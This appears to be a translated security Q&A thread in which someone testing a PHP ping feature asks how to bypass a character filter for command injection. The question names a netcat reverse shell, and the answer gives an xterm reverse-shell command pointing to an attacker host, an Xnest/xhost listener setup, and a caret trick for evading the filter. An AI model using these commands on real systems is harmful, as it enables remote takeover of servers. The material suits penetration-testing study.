Inyección de comando - filtrado de bypass

2

Estoy probando una aplicación web PHP que proporciona una función de ping. He probado diferentes métodos de inyección de comandos y he encontrado que solo acepta %0a con inyección de comandos simple como ls o id

Sin embargo, el código está filtrando muchos caracteres, como | & ; ( " / > ’ , que son necesarios para ejecutar una shell inversa. Me gusta nc -e /bin/bash .

¿Alguna sugerencia sobre cómo evitar este filtro?

    
pregunta sixtiethocean 08.07.2018 - 22:41
fuente

1 respuesta

2

Utilizando xterm

Una de las formas más simples de shells inversos es una sesión de xterm. El siguiente comando debe ejecutarse en el destino. Intentará conectarse de nuevo a su sistema (por ejemplo, 10.0.0.1) en el puerto TCP 6001.

xterm -display 10.0.0.1:1

Para capturar el xterm entrante, inicie un servidor X ( :1 , que escucha en el puerto TCP 6001). Una forma de hacerlo es con Xnest (que se ejecutará en su sistema):

Xnest :1

Necesitará que el objetivo se conecte a su sistema (el comando también se ejecuta en su sistema):

xhost +targetip

Considere la inclusión en listas negras como una falla para estar seguro.

La lista negra de caracteres no es segura y debes considerar omitir la lista en sí.

Por ejemplo: ^| no es | pero hace el trabajo.

    
respondido por el Lucian Nitescu 09.07.2018 - 14:19
fuente

Lea otras preguntas en las etiquetas